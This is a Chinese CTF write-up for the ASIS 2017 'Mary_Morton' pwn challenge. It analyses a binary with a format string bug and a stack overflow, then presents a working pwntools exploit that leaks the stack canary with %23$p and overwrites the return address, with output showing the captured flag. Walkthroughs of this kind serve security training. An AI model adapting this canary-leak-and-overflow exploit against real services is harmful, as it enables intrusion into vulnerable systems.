ASIS-CTF-Finals-2017 pwn Mary_Morton Writeup

题目描述:

ASIS-CTF-Finals-2017  非常简单的热身pwn

分析思路:

1、首先查看文件的安全信息:

tucker@ubuntu:~/xman/pwn$ file Mary_Morton
Mary_Morton: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=b7971b84c2309bdb896e6e39073303fc13668a38, stripped
tucker@ubuntu:~/xman/pwn$ checksec Mary_Morton
[*] '/home/tucker/xman/pwn/Mary_Morton'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

我们看到ELF文件开启了canary保护。

2.使用IDA查看:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_4009FF();
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  puts("Select your weapon ");
  while ( 1 )
  {
    while ( 1 )
    {
      print_info();
      __isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;
      format_string_bug();
    }
    if ( v3 == 3 )
    {
      puts("Bye ");
      exit(0);
    }
    if ( v3 == 1 )
      stack_overflow();
    else
      puts("Wrong!");
  }
}

我们看到,有两个可以利用的漏洞,具体如下:

unsigned __int64 format_string_bug()
{
  char buf; // [rsp+0h] [rbp-90h]
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&buf, 0, 0x80uLL);
  read(0, &buf, 0x7FuLL);
  printf(&buf, &buf);
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 stack_overflow()
{
  char buf; // [rsp+0h] [rbp-90h]
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&buf, 0, 0x80uLL);
  read(0, &buf, 0x100uLL);
  printf("-> %s\n", &buf);
  return __readfsqword(0x28u) ^ v2;
}

 

但是因为启用了canary保护,给我们造成了一定的困扰,在汇编代码中我们可以看到,所谓的canary,就是比较rbp-0x8和fs:[28h]处的数据,如果不相等,则转去异常处理。同时我们又发现,在两个可溢出的函数中,canary是一样的。因此我们可以使用其中一个溢出函数打印出canary的值,然后用这个值去填充另一个可以溢出的缓冲区,就可以绕过检查。

3、首先我们需要找到canary距离我们的buf缓冲区的偏移量。

tucker@ubuntu:~/xman/pwn$ ./Mary_Morton 
Welcome to the battle ! 
[Great Fairy] level pwned 
Select your weapon 
1. Stack Bufferoverflow Bug 
2. Format String Bug 
3. Exit the battle 
2
aaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
aaaa_0x7ffc7cff7270_0x7f_0x7f26ca00a081_(nil)_(nil)_0x5f70255f61616161_0x70255f70255f7025_0x255f70255f70255f_0x5f70255f70255f70_0xa70255f7025_(nil)

我们看到,偏移量为6。又因为buf位置为rbp-0x90, canary为0x8,相差0x88, 且8bytes为一个单位,即0x88 / 8 = 0x11 = 17, 17 + 6 = 23,因此偏移量为23,所以我们就可以使用%23$p来打印出canary的地址。

4、由此我们可以写出exp:

# Mary_Morton.py

from pwn import *

sh = process('./Mary_Morton')
sh = remote('111.198.29.45', '42342')

sh.sendline('2')
sh.sendline("%23$p")
sh.recvuntil('0x')
canary = int(sh.recv(16), 16)
print hex(canary)

addr = 0x04008DA
payload = 'a' * (0x90 - 0x8) + p64(canary) + p64(61) + p64(addr)

sh.sendline('1')
sh.sendline(payload)

sh.interactive()

即可得到flag:

tucker@ubuntu:~/xman/pwn$ python Mary_Morton.py 
[+] Starting local process './Mary_Morton': pid 33483
[+] Opening connection to 111.198.29.45 on port 42342: Done
0x684666ef45e35300
[*] Switching to interactive mode

1. Stack Bufferoverflow Bug 
2. Format String Bug 
3. Exit the battle 
-> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
cyberpeace{e5a06ac649a26b9b72f38eee318ad00e}
[*] Got EOF while reading in interactive
$ 

 

你可能感兴趣的:(pwn,CTF,栈溢出利用)